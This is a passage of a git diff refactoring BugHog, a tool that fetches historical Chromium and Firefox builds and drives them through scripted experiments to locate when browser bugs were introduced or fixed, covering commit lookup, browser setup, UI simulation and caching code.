util.request_html(url).decode() + commit_nb = self._parse_commit_nb_from_googlesource(html) + if commit_nb is None: + logger.error(f"Could not parse commit number on '{url}'") + raise AttributeError(f"Could not parse commit number on '{url}'") + assert re.match(r'[0-9]{1,7}', commit_nb) + return int(commit_nb) + + @Cache.cache_in_db('web_browser', 'chromium') + def find_commit_id(self, commit_nb: int) -> str | None: + # First use bughog service. + if commit_id := bughog_service.find_commit_id('chromium', commit_nb): + return commit_id + + # If not found, use crrev.com. + try: + final_url = util.request_final_url(f'{REV_NUMBER_BASE_URL}{commit_nb}') + except util.ResourceNotFound: + return None + commit_id = final_url[-40:] + assert re.match(r'[a-z0-9]{40}', commit_id) + return commit_id + + # @Cache.cache_in_db('web_browser', 'chromium') + def find_commit_of_release(self, release_version: int) -> tuple[int, str]: + return bughog_service.find_version_commit('chromium', release_version, has_public_executable=True) + + def get_most_recent_major_release_version(self) -> int: + return bughog_service.find_latest_major_version('chromium') + + # @Cache.cache_in_db('web_browser', 'chromium') + def has_public_executable(self, state_index: int, state_type: Literal['release', 'commit']) -> bool: + match state_type: + case 'release': + # TODO: make more efficient (by possibly adding to bughog service) + commit_nb, _ = bughog_service.find_version_commit('chromium', state_index, has_public_executable=True) + executable_info = bughog_service.find_commit_executable_info('chromium', commit_nb) + if executable_info is None: + return self.has_public_executable(commit_nb, 'commit') + return True + case 'commit': + url = f'https://www.googleapis.com/storage/v1/b/chromium-browser-snapshots/o/Linux_x64%2F{state_index}%2Fchrome-linux.zip' + req = requests.get(url) + has_binary_online = req.status_code == 200 + # TODO: caching at factory + return has_binary_online + + # @Cache.cache_in_db('web_browser', 'chromium') + def get_executable_download_urls(self, state_index: int, state_type: Literal['release', 'commit']) -> list[str]: + match state_type: + case 'release': + # TODO: make more efficient (by possibly adding to bughog service) + commit_nb, _ = bughog_service.find_version_commit('chromium', state_index, has_public_executable=True) + return self.get_executable_download_urls(commit_nb, 'commit') + case 'commit': + return [f'https://www.googleapis.com/download/storage/v1/b/chromium-browser-snapshots/o/Linux_x64%2F{state_index}%2Fchrome-linux.zip?alt=media'] + + def get_nearest_commit_with_executable(self, target_commit_nb: int, lower_bound: int, upper_bound: int) -> int | None: + NotImplementedError() + + # Commit state functions + + def get_commit_url(self, commit_nb: int, commit_id: str | None) -> str | None: + if commit_id is None: + return None + return f'https://chromium.googlesource.com/chromium/src/+/{commit_id}' diff --git a/bughog/subject/web_browser/chromium/subject.py b/bughog/subject/web_browser/chromium/subject.py new file mode 100644 index 00000000..cc4d5002 --- /dev/null +++ b/bughog/subject/web_browser/chromium/subject.py @@ -0,0 +1,28 @@ +import logging + +from bughog.parameters import SubjectConfiguration +from bughog.subject.state_oracle import StateOracle +from bughog.subject.web_browser.chromium.executable import ChromiumExecutable +from bughog.subject.web_browser.chromium.state_oracle import ChromiumStateOracle +from bughog.subject.web_browser.subject import WebBrowser +from bughog.version_control.conversion import bughog_service +from bughog.version_control.state.base import State + +logger = logging.getLogger(__name__) + + +class Chromium(WebBrowser): + @property + def name(self) -> str: + return 'chromium' + + @property + def _state_oracle_class(self) -> type[StateOracle]: + return ChromiumStateOracle + + def create_executable(self, subject_configuration: SubjectConfiguration, state: State) -> ChromiumExecutable: + return ChromiumExecutable(subject_configuration, state) + + def get_availability(self) -> dict: + most_recent_major_version = bughog_service.find_latest_major_version('chromium') + return {'name': 'chromium', 'min_version': 20, 'max_version': most_recent_major_version} diff --git a/bci/browser/cli_options/chromium.py b/bughog/subject/web_browser/cli_options/chromium.py similarity index 100% rename from bci/browser/cli_options/chromium.py rename to bughog/subject/web_browser/cli_options/chromium.py diff --git a/bci/browser/cli_options/firefox.py b/bughog/subject/web_browser/cli_options/firefox.py similarity index 100% rename from bci/browser/cli_options/firefox.py rename to bughog/subject/web_browser/cli_options/firefox.py diff --git a/bughog/subject/web_browser/evaluation_framework.py b/bughog/subject/web_browser/evaluation_framework.py new file mode 100644 index 00000000..7c439630 --- /dev/null +++ b/bughog/subject/web_browser/evaluation_framework.py @@ -0,0 +1,25 @@ +import os + +from bughog.evaluation.file_structure import Folder +from bughog.subject.evaluation_framework import EvaluationFramework + + +class BrowserEvaluationFramework(EvaluationFramework): + def experiment_is_runnable(self, experiment_folder: Folder) -> bool: + return any(file.name in ('script.cmd', 'index.html') for file in experiment_folder.files) + + def fill_empty_experiment_with_default(self, path: str): + file_path = os.path.join(path, 'index.html') + with open(file_path, 'w') as file: + file.write('') + + def get_poc_file_name(self) -> str: + return 'index.html' + + def get_default_experiment_script(self, experiment_folder: Folder) -> list[str]: + poc_file = experiment_folder.get_file('index.html') + domain = poc_file.get_bughog_poc_parameter('domain') or 'a.test' + project = experiment_folder.path.split('/')[5] + experiment = experiment_folder.path.split('/')[6] + url = f'https://{domain}/{project}/{experiment}/' + return [f'navigate {url}'] diff --git a/bughog/subject/web_browser/executable.py b/bughog/subject/web_browser/executable.py new file mode 100644 index 00000000..33d4f053 --- /dev/null +++ b/bughog/subject/web_browser/executable.py @@ -0,0 +1,51 @@ +from abc import abstractmethod + +from bughog import util +from bughog.parameters import SubjectConfiguration +from bughog.subject.executable import Executable +from bughog.version_control.state.base import State + + +class BrowserExecutable(Executable): + PROFILE_STORAGE_FOLDER = '/app/subject/web_browser/profiles' + PROFILE_EXECUTION_FOLDER = '/tmp/profiles' + + def __init__(self, config: SubjectConfiguration, state: State) -> None: + super().__init__(config, state) + + @property + @abstractmethod + def post_experiment_sleep_duration(self) -> int: + pass + + @property + @abstractmethod + def open_console_hotkey(self) -> list[str]: + pass + + @abstractmethod + def _prepare_profile_folder(self): + pass + + @abstractmethod + def _remove_profile_folder(self): + pass + + def __empty_downloads_folder(self): + download_folder = '/root/Downloads' + util.remove_all_in_folder(download_folder) + + def pre_experiment_setup(self): + self.fetch() + self.stage() + + def post_experiment_cleanup(self): + self.unstage() + self.remove() + + def pre_try_setup(self): + self._prepare_profile_folder() + + def post_try_cleanup(self): + self._remove_profile_folder() + self.__empty_downloads_folder() diff --git a/bci/evaluations/custom/__init__.py b/bughog/subject/web_browser/firefox/__init__.py similarity index 100% rename from bci/evaluations/custom/__init__.py rename to bughog/subject/web_browser/firefox/__init__.py diff --git a/bughog/subject/web_browser/firefox/executable.py b/bughog/subject/web_browser/firefox/executable.py new file mode 100644 index 00000000..09239f3d --- /dev/null +++ b/bughog/subject/web_browser/firefox/executable.py @@ -0,0 +1,139 @@ +import os +import re + +from bughog import cli +from bughog.parameters import SubjectConfiguration +from bughog.subject.web_browser.executable import BrowserExecutable +from bughog.subject.web_browser.profile import prepare_firefox_profile, remove_profile_execution_folder +from bughog.version_control.state.base import State + +SELENIUM_USED_FLAGS = ['--no-remote', '--new-instance'] + + +class FirefoxExecutable(BrowserExecutable): + def __init__(self, config: SubjectConfiguration, state: State) -> None: + super().__init__(config, state) + self._profile_path = None + + @property + def executable_name(self) -> str: + return 'firefox' + + def _get_version(self): + command = './firefox --version' + output = cli.execute_and_return_output(command, cwd=self.staging_folder) + match = re.match(r'Mozilla Firefox (?P[0-9]+)\.[0-9]+.*', output) + if match: + return match.group('version') + raise AttributeError(f"Could not determine version of binary at '{self.executable_name}'.") + + def _optimize_for_storage(self) -> None: + pass + + def _configure_executable(self): + cli.execute_and_return_status(f'chmod -R a+x {self.staging_folder}') + cli.execute_and_return_status(f'chmod -R a+w {self.staging_folder}') + # Add policy.json to prevent updating. (this measure is effective from version 60) + # https://github.com/mozilla/policy-templates/blob/master/README.md + # (For earlier versions, the prefs.js file is used) + distributions_path = os.path.join(self.staging_folder, 'distribution') + os.makedirs(distributions_path, exist_ok=True) + policies_path = os.path.join(distributions_path, 'policies.json') + with open(policies_path, 'a') as file: + file.write('{ "policies": { "DisableAppUpdate": true } }') + + @property + def post_experiment_sleep_duration(self) -> int: + return 2 + + @property + def open_console_hotkey(self) -> list[str]: + return ['ctrl', 'shift', 'k'] + + @property + def supported_options(self) -> list[str]: + return [] + + def _get_cli_command(self) -> list[str]: + assert self._profile_path is not None + + args = [self.executable_path] + args.extend(['-profile', self._profile_path]) + args.append('-setDefaultBrowser') + user_prefs = [] + + def add_user_pref(key: str, value: str | int | bool): + if isinstance(value, str): + user_prefs.append(f'user_pref("{key}", "{value}");'.lower()) + else: + user_prefs.append(f'user_pref("{key}", {value});'.lower()) + + add_user_pref('app.update.enabled', False) + add_user_pref('browser.shell.checkDefaultBrowser', False) + if 'default' in self.config.subject_setting: + pass + elif 'btpc' in self.config.subject_setting: + add_user_pref('network.cookie.cookieBehavior', 1) + add_user_pref('browser.contentblocking.category', 'custom') + elif 'tp' in self.config.subject_setting: + if int(self.version) >= 65: + add_user_pref('privacy.trackingprotection.enabled', True) + add_user_pref('pref.privacy.disable_button.change_blocklis', False) + add_user_pref('pref.privacy.disable_button.tracking_protection_exceptions', False) + add_user_pref('urlclassifier.trackingTable', 'test-track-simple,base-track-digest256,content-track-digest256') + else: + add_user_pref('privacy.contentblocking.category', 'strict') + add_user_pref('privacy.trackingprotection.enabled', True) + add_user_pref('privacy.trackingprotection.socialtracking.enabled', True) + add_user_pref('network.cookie.cookieBehavior', True) + add_user_pref('pref.privacy.disable_button.tracking_protection_exceptions', True) + elif 'no-tp' in self.config.subject_setting: + add_user_pref('network.cookie.cookieBehavior', 0) + add_user_pref('browser.contentblocking.category', 'custom') + add_user_pref('privacy.trackingprotection.cryptomining.enabled', False) + add_user_pref('privacy.trackingprotection.fingerprinting.enabled', False) + add_user_pref('privacy.trackingprotection.pbmode.enabled', False) + elif 'pb' in self.config.subject_setting: + args.append('-private') + elif 'allow-java-applets' in self.config.subject_setting: + add_user_pref('plugin.state.java', 2) + else: + raise NotImplementedError() + + if self.config.extensions: + raise AttributeError('Not implemented') + + args.extend(self.config.cli_options) + args.extend(SELENIUM_USED_FLAGS) + self.__create_prefs_file(user_prefs) + return args + + def __create_prefs_file(self, user_prefs: list[str]): + if self._profile_path: + with open(os.path.join(self._profile_path, 'prefs.js'), 'a') as file: + file.write('\n'.join(user_prefs)) + + def _prepare_profile_folder(self): + # TODO: double check validity of Firefox profiles + if 'tp' in self.config.subject_setting: + self._profile_path = prepare_firefox_profile('tp-67') + else: + self._profile_path = prepare_firefox_profile() + + # Make Firefox trust the bughog CA + + # For newer Firefox versions (> 57): + # Generate SQLite database: cert9.db key4.db pkcs11.txt + cli.execute(f'certutil -A -n bughog-ca -t CT,c -i /etc/nginx/ssl/certs/bughog_CA.crt -d sql:{self._profile_path}') + # For older Firefox versions (<= 57): + # Generate in Berkeley DB database: cert8.db, key3.db, secmod.db + cli.execute(f'certutil -A -n bughog-ca -t CT,c -i /etc/nginx/ssl/certs/bughog_CA.crt -d dbm:{self._profile_path}') + + # More info: + # - https://support.mozilla.org/en-US/questions/1207165 + # - https://stackoverflow.com/questions/1435000/programmatically-install-certificate-into-mozilla + # - https://ftpdocs.broadcom.com/cadocs/0/CA%20SiteMinder%20r12%20SP3-ENU/Bookshelf_Files/HTML/idocs/792390.html + + def _remove_profile_folder(self): + if self._profile_path: + remove_profile_execution_folder(self._profile_path) diff --git a/bughog/subject/web_browser/firefox/state_oracle.py b/bughog/subject/web_browser/firefox/state_oracle.py new file mode 100644 index 00000000..b049f88d --- /dev/null +++ b/bughog/subject/web_browser/firefox/state_oracle.py @@ -0,0 +1,56 @@ +from typing import Literal + +from bughog.database.mongo.cache import Cache +from bughog.subject.state_oracle import StateOracle +from bughog.version_control.conversion import bughog_service + + +class FirefoxStateOracle(StateOracle): + # @Cache.cache_in_db('web_browser', 'firefox') + def find_commit_nb(self, commit_id: str) -> int: + return bughog_service.find_commit_nb('firefox', commit_id) + + # @Cache.cache_in_db('web_browser', 'firefox') + def find_commit_id(self, commit_nb: int) -> str | None: + return bughog_service.find_commit_id('firefox', commit_nb) + + # @Cache.cache_in_db('web_browser', 'firefox') + def find_commit_of_release(self, release_version: int) -> tuple[int, str]: + return bughog_service.find_version_commit('firefox', release_version) + + def get_most_recent_major_release_version(self) -> int: + return bughog_service.find_latest_major_version('firefox') + + @Cache.cache_in_db('web_browser', 'firefox') + def has_public_executable(self, state_index: int, state_type: Literal['release', 'commit']) -> bool: + match state_type: + case 'release': + return True + case 'commit': + return bughog_service.find_commit_executable_info('firefox', state_index) is not None + + def get_executable_download_urls(self, state_index: int, state_type: Literal['release', 'commit']) -> list[str]: + match state_type: + case 'release': + return [ + f'https://ftp.mozilla.org/pub/firefox/releases/{state_index}.0/linux-x86_64/en-US/firefox-{state_index}.0.tar.bz2', + f'https://ftp.mozilla.org/pub/firefox/releases/{state_index}.0/linux-x86_64/en-US/firefox-{state_index}.0.tar.xz', + ] + case 'commit': + info = bughog_service.find_commit_executable_info('firefox', state_index) + if info is None: + raise AttributeError(f"Could not find binary url for '{state_index}'") + binary_base_url = info['base_url'] + app_version = info['app_version'] + return [ + f'{binary_base_url}firefox-{app_version}.en-US.linux-x86_64.tar.bz2', + f'{binary_base_url}firefox-{app_version}.en-US.linux-x86_64.tar.xz', + ] + + def get_nearest_commit_with_executable(self, target_commit_nb: int, lower_bound: int, upper_bound: int) -> int | None: + NotImplementedError() + + def get_commit_url(self, commit_nb: int, commit_id: str | None) -> str | None: + if commit_id is None: + return None + return f'https://hg.mozilla.org/releases/mozilla-release/rev/{commit_id}' diff --git a/bughog/subject/web_browser/firefox/subject.py b/bughog/subject/web_browser/firefox/subject.py new file mode 100644 index 00000000..33d8fca7 --- /dev/null +++ b/bughog/subject/web_browser/firefox/subject.py @@ -0,0 +1,28 @@ +from bughog.parameters import SubjectConfiguration +from bughog.subject.state_oracle import StateOracle +from bughog.subject.web_browser.firefox.executable import FirefoxExecutable +from bughog.subject.web_browser.firefox.state_oracle import FirefoxStateOracle +from bughog.version_control.conversion import bughog_service +from bughog.subject.web_browser.subject import WebBrowser +from bughog.version_control.state.base import State + + +class Firefox(WebBrowser): + @property + def name(self) -> str: + return 'firefox' + + @property + def _state_oracle_class(self) -> type[StateOracle]: + return FirefoxStateOracle + + def create_executable(self, subject_configuration: SubjectConfiguration, state: State) -> FirefoxExecutable: + return FirefoxExecutable(subject_configuration, state) + + def get_availability(self) -> dict: + max_version = bughog_service.find_latest_major_version('firefox') + return { + 'name': 'firefox', + 'min_version': 20, + 'max_version': max_version, + } diff --git a/bci/integration_tests/__init__.py b/bughog/subject/web_browser/interaction/__init__.py similarity index 100% rename from bci/integration_tests/__init__.py rename to bughog/subject/web_browser/interaction/__init__.py diff --git a/bci/browser/interaction/elements/five.png b/bughog/subject/web_browser/interaction/elements/five.png similarity index 100% rename from bci/browser/interaction/elements/five.png rename to bughog/subject/web_browser/interaction/elements/five.png diff --git a/bci/browser/interaction/elements/four.png b/bughog/subject/web_browser/interaction/elements/four.png similarity index 100% rename from bci/browser/interaction/elements/four.png rename to bughog/subject/web_browser/interaction/elements/four.png diff --git a/bci/browser/interaction/elements/one.png b/bughog/subject/web_browser/interaction/elements/one.png similarity index 100% rename from bci/browser/interaction/elements/one.png rename to bughog/subject/web_browser/interaction/elements/one.png diff --git a/bci/browser/interaction/elements/six.png b/bughog/subject/web_browser/interaction/elements/six.png similarity index 100% rename from bci/browser/interaction/elements/six.png rename to bughog/subject/web_browser/interaction/elements/six.png diff --git a/bci/browser/interaction/elements/three.png b/bughog/subject/web_browser/interaction/elements/three.png similarity index 100% rename from bci/browser/interaction/elements/three.png rename to bughog/subject/web_browser/interaction/elements/three.png diff --git a/bci/browser/interaction/elements/two.png b/bughog/subject/web_browser/interaction/elements/two.png similarity index 100% rename from bci/browser/interaction/elements/two.png rename to bughog/subject/web_browser/interaction/elements/two.png diff --git a/bughog/subject/web_browser/interaction/simulation.py b/bughog/subject/web_browser/interaction/simulation.py new file mode 100644 index 00000000..4f611e93 --- /dev/null +++ b/bughog/subject/web_browser/interaction/simulation.py @@ -0,0 +1,140 @@ +import os +from urllib.parse import quote_plus + +import Xlib.display +from pyvirtualdisplay.display import Display + +from bughog.evaluation.file_structure import Folder +from bughog.parameters import EvaluationParameters +from bughog.subject.simulation import Simulation +from bughog.subject.web_browser.executable import BrowserExecutable + +# TODO: all pyautogui are imported inside functions because the import needs DISPLAY var, while not all containers need and have that. + +class BrowserSimulation(Simulation): + def __init__(self, executable: BrowserExecutable, folder: Folder, params: EvaluationParameters): + import pyautogui as gui + super().__init__(executable, folder, params) + disp = Display(visible=True, size=(1920, 1080), backend='xvfb', use_xauth=True) + disp.start() + gui._pyautogui_x11._display = Xlib.display.Display(os.environ['DISPLAY']) + + def __del__(self): + self.executable.terminate() + + @property + def supported_commands(self) -> list[str]: + return [ + 'navigate', + 'new_tab', + 'click_position', + 'click', + 'write', + 'press', + 'hold', + 'release', + 'hotkey', + 'sleep', + 'screenshot', + 'reproduced', + 'assert_file_contains', + 'open_file', + 'open_console', + ] + + def do_sanity_check(self): + self.navigate('https://a.test/report/?bughog_sanity_check=ok') + + def report_simulation_error(self, message: str): + self.navigate(f'https://a.test/report/?exception={quote_plus(message)}') + + def parse_position(self, position: str, max_value: int) -> int: + # Screen percentage + if position[-1] == '%': + return round(max_value * (int(position[:-1]) / 100)) + + # Absolute value in pixels + return int(position) + + # --- PUBLIC METHODS --- + def navigate(self, url: str): + self.executable.terminate() + self.executable.run([url]) + self.sleep('3') + self.click_position('100', '50%') # focus the browser window + + def new_tab(self, url: str): + self.hotkey('ctrl', 't') + self.sleep('0.5') + self.write(url) + self.press('enter') + self.sleep('3') + + def click_position(self, x: str, y: str): + import pyautogui as gui + max_x, max_y = gui.size() + + gui.moveTo(self.parse_position(x, max_x), self.parse_position(y, max_y)) + gui.click() + + def click(self, el_id: str): + import pyautogui as gui + el_image_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), f'elements/{el_id}.png') + x, y = gui.locateCenterOnScreen(el_image_path) + self.click_position(str(x), str(y)) + + def write(self, text: str): + import pyautogui as gui + gui.write(text, interval=0.1) + + def press(self, key: str): + import pyautogui as gui + gui.press(key) + + def hold(self, key: str): + import pyautogui as gui + gui.keyDown(key) + + def release(self, key: str): + import pyautogui as gui + gui.keyUp(key) + + def hotkey(self, *keys: str): + import pyautogui as gui + gui.hotkey(*keys) + + def screenshot(self, filename: str): + import pyautogui as gui + project_name = self.params.evaluation_range.project_name + experiment_name = self.params.evaluation_range.experiment_name + executable_name = f'{self.executable.executable_name}-{self.executable.version}' + file_path = os.path.join('/app/logs/screenshots/', f'{project_name}-{experiment_name}-{self.executable.state.name}-{executable_name}.jpg') + gui.screenshot(file_path) + + def reproduced(self): + self.navigate('https://a.test/report/?bughog_reproduced=ok') + + def assert_file_contains(self, filename: str, content: str): + filepath = os.path.join('/root/Downloads', filename) + + if not os.path.isfile(filepath): + raise SimulationException(f'file-{filename}-does-not-exist') + + with open(filepath, 'r') as f: + if content not in f.read(): + raise SimulationException(f'file-{filename}-does-not-contain-{content}') + + def open_file(self, filename: str): + self.navigate(f'file:///root/Downloads/{filename}') + + def open_console(self): + self.hotkey(*self.executable.open_console_hotkey) + self.sleep('1.5') + + +class SimulationException(Exception): + """ + Common class for exceptions thrown upon failed experiment assertions defined by script.cmd. + """ + + pass diff --git a/bci/browser/configuration/profile.py b/bughog/subject/web_browser/profile.py similarity index 94% rename from bci/browser/configuration/profile.py rename to bughog/subject/web_browser/profile.py index 79e03d12..bbbbd2bb 100644 --- a/bci/browser/configuration/profile.py +++ b/bughog/subject/web_browser/profile.py @@ -1,9 +1,9 @@ import os from typing import Optional -from bci import cli +from bughog import cli -PROFILE_STORAGE_FOLDER = '/app/browser/profiles' +PROFILE_STORAGE_FOLDER = '/app/subject/browser/profiles' PROFILE_EXECUTION_FOLDER = '/tmp/profiles' @@ -42,7 +42,7 @@ def prepare_firefox_profile(profile_name: Optional[str] = None) -> str: def remove_profile_execution_folder(profile_path: str): assert profile_path.startswith(PROFILE_EXECUTION_FOLDER) - cli.execute(f'rm -rf {profile_path}') + cli.execute(f'rm -rf {profile_path}', ignore_error=True) def __create_folder(folder_path: str) -> str: diff --git a/bci/version_control/repository/repository.py b/bughog/subject/web_browser/repository.py similarity index 60% rename from bci/version_control/repository/repository.py rename to bughog/subject/web_browser/repository.py index 5a593a53..760aa591 100644 --- a/bci/version_control/repository/repository.py +++ b/bughog/subject/web_browser/repository.py @@ -12,13 +12,13 @@ def get_release_tag(self, version) -> str: pass @abstractmethod - def get_revision_id(self, revision_number: int) -> str: + def get_commit_id(self, commit_nb: int) -> str: pass @abstractmethod - def get_revision_number(self, revision_id: str) -> int: + def get_commit_nb(self, commit_id: str) -> int: pass @abstractmethod - def get_release_revision_number(self, major_release_version: int) -> int: + def get_release_commit_nb(self, major_release_version: int) -> int: pass diff --git a/bughog/subject/web_browser/state_cache.py b/bughog/subject/web_browser/state_cache.py new file mode 100644 index 00000000..7115ca25 --- /dev/null +++ b/bughog/subject/web_browser/state_cache.py @@ -0,0 +1,134 @@ +import logging +from concurrent.futures import ThreadPoolExecutor +from typing import Optional + +from pymongo import ASCENDING, DESCENDING + +from bughog import util +from bughog.database.mongo.mongodb import MongoDB + +logger = logging.getLogger(__name__) + +BASE_URL = "https://bughog.distrinet-research.be/" + + +class PublicBrowserStateCache: + @staticmethod + def update() -> None: + def safe_request_json_and_update(collection_name: str, transform=lambda x: x): + url = BASE_URL + collection_name + ".json" + try: + result = util.request_json(url)["data"] + if result is not None: + PublicBrowserStateCache.__update_collection(collection_name, transform(result)) + except util.ResourceNotFound: + logger.warning(f"Could not update commit cache with resource at {url}") + except Exception: + logger.error(f"Could not update commit cache for {collection_name}", exc_info=True) + + executor = ThreadPoolExecutor() + executor.submit(safe_request_json_and_update, "firefox_binary_availability", transform=lambda x: list(x.values())) + executor.submit(safe_request_json_and_update, "firefox_release_base_revs") + executor.submit(safe_request_json_and_update, "chromium_release_base_revs") + executor.shutdown(wait=False) + + @staticmethod + def __update_collection(collection_name: str, data: list) -> None: + collection = MongoDB().get_collection(collection_name) + if (n := len(data)) == collection.count_documents({}): + logger.debug(f"{collection_name} is still up-to-date ({n} documents).") + else: + collection.delete_many({}) + collection.insert_many(data) + logger.info(f"{collection_name} is updated ({len(data)} documents).") + + @staticmethod + def firefox_get_commit_nb(commit_id: str) -> int: + collection = MongoDB().get_collection("firefox_binary_availability") + result = collection.find_one({"revision_id": commit_id}, {"revision_number": 1}) + if result is None or "revision_number" not in result: + raise AttributeError(f"Could not find 'revision_number' in {result}") + return result["revision_number"] + + @staticmethod + def firefox_has_executable_for(commit_nb: Optional[int] = None, commit_id: Optional[str] = None) -> bool: + collection = MongoDB().get_collection("firefox_binary_availability") + if commit_nb: + result = collection.find_one({"revision_number": commit_nb}) + elif commit_id: + result = collection.find_one({"revision_number": commit_nb}) + else: + raise AttributeError("No commit number or id was provided") + return result is not None + + @staticmethod + def firefox_get_executable_info(commit_id: str) -> Optional[dict]: + collection = MongoDB().get_collection("firefox_binary_availability") + return collection.find_one({"node": commit_id}, {"files_url": 1, "app_version": 1}) + + @staticmethod + def firefox_get_previous_and_next_commit_nb_with_executable(commit_nb: int) -> tuple[Optional[int], Optional[int]]: + collection = MongoDB().get_collection("firefox_binary_availability") + + previous_commit_nbs = collection.find({"revision_number": {"$lt": commit_nb}}).sort({"revision_number": DESCENDING}) + previous_document = next(previous_commit_nbs, None) + + next_commit_nbs = collection.find({"revision_number": {"$gt": commit_nb}}).sort({"revision_number": ASCENDING}) + next_document = next(next_commit_nbs, None) + + return ( + previous_document["revision_number"] if previous_document else None, + next_document["revision_number"] if next_document else None, + ) + + @staticmethod + def firefox_get_commit_id(commit_nb: int) -> Optional[str]: + collection = MongoDB().get_collection("firefox_binary_availability") + result = collection.find_one({"revision_number": commit_nb}) + if result is None: + return None + return result.get("node", None) + + @staticmethod + def __get_release_base_rev_collection(browser: str) -> str: + match browser: + case "chromium": + return "chromium_release_base_revs" + case "firefox": + return "firefox_release_base_revs" + case _: + raise AttributeError(f"Could not get collection for browser {browser}") + + @staticmethod + def is_tag(browser: str, tag: str) -> bool: + collection = MongoDB().get_collection(PublicBrowserStateCache.__get_release_base_rev_collection(browser)) + n = collection.count_documents({"release_tag": tag}) + return n > 0 + + @staticmethod + def get_release_tag(browser: str, major_release_version: int) -> str: + collection = MongoDB().get_collection(PublicBrowserStateCache.__get_release_base_rev_collection(browser)) + if doc := collection.find_one({"major_version": major_release_version}): + return doc["release_tag"] + raise AttributeError(f"Could not find release tag associated with version '{major_release_version}'") + + @staticmethod + def get_release_commit_nb(browser: str, major_release_version: int) -> int: + collection = MongoDB().get_collection(PublicBrowserStateCache.__get_release_base_rev_collection(browser)) + if doc := collection.find_one({"major_version": major_release_version}): + return doc["revision_number"] + raise AttributeError(f"Could not find major release version '{major_release_version}'") + + @staticmethod + def get_release_commit_id(browser: str, major_release_version: int) -> str: + collection = MongoDB().get_collection(PublicBrowserStateCache.__get_release_base_rev_collection(browser)) + if doc := collection.find_one({"major_version": major_release_version}): + return doc["revision_id"] + raise AttributeError(f"Could not find major release version '{major_release_version}'") + + @staticmethod + def get_most_recent_major_version(browser: str) -> int: + collection = MongoDB().get_collection(PublicBrowserStateCache.__get_release_base_rev_collection(browser)) + if doc := collection.find_one(sort=[("major_version", -1)]): + return doc["major_version"] + raise AttributeError("Could not find most recent major release version") diff --git a/bughog/subject/web_browser/subject.py b/bughog/subject/web_browser/subject.py new file mode 100644 index 00000000..42ece35d --- /dev/null +++ b/bughog/subject/web_browser/subject.py @@ -0,0 +1,27 @@ +from abc import ABC + +from bughog.evaluation.collectors.collector import Collector +from bughog.evaluation.collectors.logs import LogCollector +from bughog.evaluation.collectors.requests import RequestCollector +from bughog.evaluation.file_structure import Folder +from bughog.parameters import EvaluationParameters +from bughog.subject.executable import Executable +from bughog.subject.subject import Subject +from bughog.subject.web_browser.interaction.simulation import BrowserSimulation + + +class WebBrowser(Subject, ABC): + def __init__(self) -> None: + super().__init__() + + @property + def type(self): + return 'web_browser' + + @staticmethod + def create_simulation(executable: Executable, context: Folder, params: EvaluationParameters) -> BrowserSimulation: + return BrowserSimulation(executable, context, params) + + @staticmethod + def create_result_collector() -> Collector: + return Collector([RequestCollector(), LogCollector()]) diff --git a/bci/util.py b/bughog/util.py similarity index 73% rename from bci/util.py rename to bughog/util.py index 7727512a..67e7caff 100644 --- a/bci/util.py +++ b/bughog/util.py @@ -3,6 +3,7 @@ to another. These methods should be safe. """ +import functools import json import logging import os @@ -16,21 +17,31 @@ from requests import RequestException, Session from requests.adapters import HTTPAdapter, Retry +from bughog.exceptions import OutOfMemoryError + logger = logging.getLogger(__name__) def safe_move_file(src_path, dst_path): if not os.path.isfile(src_path): - raise AttributeError("src path is not a file: '%s'" % src_path) - if not os.path.exists(os.path.dirname(dst_path)): - os.makedirs(dst_path) - shutil.copyfile(src_path, dst_path) - os.remove(src_path) + raise AttributeError(f'src path is not a file: {src_path}') + + dst_dir = os.path.dirname(dst_path) + if not os.path.exists(dst_dir): + os.makedirs(dst_dir) + + try: + os.replace(src_path, dst_path) + except OSError as e: + if e.errno == 28 or 'No space left' in str(e): + logger.error(f'Out of resources while moving file from {src_path} to {dst_path}.') + raise OutOfMemoryError('No space left on device. Restarting BugHog might help.') from e + raise e def safe_move_dir(src_path, dst_path): if not os.path.isdir(src_path): - raise AttributeError("src path is not a directory: '%s'" % src_path) + raise AttributeError(f'src path is not a directory: {src_path}') if not os.path.exists(dst_path): os.makedirs(dst_path) for file_or_dir in os.listdir(src_path): @@ -46,7 +57,13 @@ def safe_move_dir(src_path, dst_path): def copy_folder(src_path, dst_path): - shutil.copytree(src_path, dst_path, dirs_exist_ok=True) + try: + shutil.copytree(src_path, dst_path, dirs_exist_ok=True) + except Exception as e: + if 'No space left on device' in str(e): + logger.error(f'Out of memory while copying folder from {src_path} to {dst_path}.') + raise OutOfMemoryError('No space left on device. Restarting BugHog might help.') from e + raise e def remove_all_in_folder(folder_path: str, except_files: Optional[list[str]] = None) -> None: @@ -80,7 +97,7 @@ def rmtree(src_path): def read_web_report(file_name): - report_folder = "/reports" + report_folder = '/reports' path = os.path.join(report_folder, file_name) if not os.path.isfile(path): raise ResourceNotFound(path) @@ -100,23 +117,23 @@ def request_html(url: str): raise ResourceNotFound from e -def request_json(url: str): - session = __get_session() +def request_json(url: str, params: dict | None = None, token: str | None = None) -> list | dict: + session = __get_session(token=token) logger.debug(f'Requesting {url}') try: - with session.get(url, timeout=60, stream=True) as resp: + with session.get(url, params=params, timeout=60, stream=True) as resp: if resp.status_code >= 400: raise ResourceNotFound(url) return resp.json() - except RequestException as e: + except Exception as e: raise ResourceNotFound from e -def request_final_url(url: str) -> str: +def request_final_url(url: str, params: dict | None = None) -> str: session = __get_session() logger.debug(f'Requesting {url}') try: - resp = session.get(url, timeout=60, stream=True) + resp = session.get(url, params=params, timeout=60, stream=True) if resp.status_code >= 400: raise ResourceNotFound(url) return resp.url @@ -124,12 +141,24 @@ def request_final_url(url: str) -> str: raise ResourceNotFound from e -def __get_session(max_retries: int = 3, backoff_factor: float = 2.0) -> Session: +def post_request(url: str, json: dict) -> None: + session = __get_session() + logger.debug(f'Sending POST to {url}.') + try: + session.post(url, json=json) + except RequestException: + logger.warning(f'Could not propagate request to collector at {url}.') + + +def __get_session(token: Optional[str] = None, max_retries: int = 3, backoff_factor: int = 2) -> Session: session = Session() + if token: + session.headers.update({'Authorization': f'Bearer {token}'}) + retries = Retry( total=max_retries, backoff_factor=backoff_factor, - status_forcelist=tuple(range(500,600)), + status_forcelist=tuple(range(500, 600)), allowed_methods={'GET'}, ) adapter = HTTPAdapter(max_retries=retries) @@ -148,7 +177,7 @@ def download_and_extract(urls: list[str], dst_folder_path: str) -> bool: for url in urls: logger.debug(f"Attempting to download archive from '{url}'.") tmp_file_name = urlparse(url).path.split('/')[-1] - tmp_file_path = os.path.join('/tmp', tmp_file_name) + tmp_file_path = 